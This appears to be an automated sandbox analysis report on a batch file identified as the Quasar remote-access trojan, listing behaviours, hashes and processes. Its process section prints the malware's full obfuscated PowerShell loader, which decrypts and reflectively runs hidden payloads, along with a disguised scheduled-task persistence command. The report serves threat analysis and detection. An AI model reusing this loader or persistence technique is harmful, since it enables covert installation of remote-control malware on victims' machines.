Analysis Overview
SHA256
a35daf95a4dbdf04f63d1b41909153783fee7fbc99938f96af5d29f44d7f33f8
Threat Level: Known bad
The file server.bat was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Creates scheduled task(s)
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-16 00:33
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-16 00:33
Reported
2024-06-16 00:36
Platform
win10v2004-20240226-en
Max time kernel
111s
Max time network
124s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2992 wrote to memory of 4468 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2992 wrote to memory of 4468 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4468 wrote to memory of 2388 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SYSTEM32\schtasks.exe |
| PID 4468 wrote to memory of 2388 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SYSTEM32\schtasks.exe |
| PID 4468 wrote to memory of 1760 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe |
| PID 4468 wrote to memory of 1760 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe |
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\server.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eZ/BdGP+hp/INTuCiV0z4Mbns33NZlVZkyKbi1TVuS4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G/Agi11q4Y0U0lJm5CiH1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mnQuE=New-Object System.IO.MemoryStream(,$param_var); $UKJvP=New-Object System.IO.MemoryStream; $mmFpr=New-Object System.IO.Compression.GZipStream($mnQuE, [IO.Compression.CompressionMode]::Decompress); $mmFpr.CopyTo($UKJvP); $mmFpr.Dispose(); $mnQuE.Dispose(); $UKJvP.Dispose(); $UKJvP.ToArray();}function execute_function($param_var,$param2_var){ $VjnJF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zbiiw=$VjnJF.EntryPoint; $zbiiw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\server.bat';$rsijF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\server.bat').Split([Environment]::NewLine);foreach ($CSTbf in $rsijF) { if ($CSTbf.StartsWith(':: ')) { $hKdyd=$CSTbf.Substring(3); break; }}$payloads_var=[string[]]$hKdyd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe" /rl HIGHEST /f
C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe
"C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
Files
memory/4468-0-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4k3quqdj.23g.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4468-10-0x000002247E500000-0x000002247E522000-memory.dmp
memory/4468-11-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/4468-12-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/4468-13-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/4468-14-0x000002247EB00000-0x000002247EB08000-memory.dmp
memory/4468-15-0x000002247F620000-0x000002247F778000-memory.dmp
memory/4468-16-0x000002247F780000-0x000002247FAA4000-memory.dmp
C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/1760-23-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/1760-24-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/4468-35-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp
memory/1760-34-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/4468-36-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/1760-37-0x0000017F58060000-0x0000017F580A4000-memory.dmp
memory/1760-38-0x0000017F58130000-0x0000017F581A6000-memory.dmp
memory/4468-39-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp
memory/1760-41-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp